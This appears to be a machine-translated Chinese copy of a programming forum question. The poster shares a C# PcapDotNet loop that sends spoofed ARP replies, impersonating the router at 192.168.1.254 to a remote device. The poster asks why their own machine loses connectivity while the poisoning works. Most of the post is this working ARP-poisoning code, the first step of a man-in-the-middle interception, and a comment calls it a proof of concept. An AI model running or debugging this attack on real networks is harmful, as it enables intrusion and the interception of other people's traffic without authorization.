我使用PcapDotNet创造下一个代码ARP毒药包:ARP中毒对自己
using (PacketCommunicator communicator =
selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (true)
{
Packet arp;
EthernetLayer ethernetLayer = new EthernetLayer
{
Source = new MacAddress("f8:d1:11:05:8c:91"), // My Mac
Destination = new MacAddress("5c:da:d4:29:6d:5f"), // Remote device IP
EtherType = EthernetType.None, // Will be filled automatically.
};
ArpLayer arpLayer = new ArpLayer
{
ProtocolType = EthernetType.IpV4,
Operation = ArpOperation.Reply,
SenderHardwareAddress = new byte[] { 0xf8, 0xd1, 0x11, 0x05, 0x8c, 0x91 }.AsReadOnly(), // My MAC
SenderProtocolAddress = new byte[] { 192, 168, 1, 254 }.AsReadOnly(), // My Router IP
TargetHardwareAddress = new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }.AsReadOnly(),
TargetProtocolAddress = new byte[] { 0, 0, 0, 0 }.AsReadOnly(),
};
PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);
arp = builder.Build(DateTime.Now);
communicator.SendPacket(arp);
System.Threading.Thread.Sleep(500);
}
}
的问题是:我能毒害远程设备,但我在我的电脑没有网络太(中毒对自己?)。 我想也许问题是我必须指出(以某种方式),我希望我自己的系统不读取我发送的数据包......但我不知道如何...... 有人可以解释我这里有什么问题?
只做概念测试... – 2013-03-17 22:33:20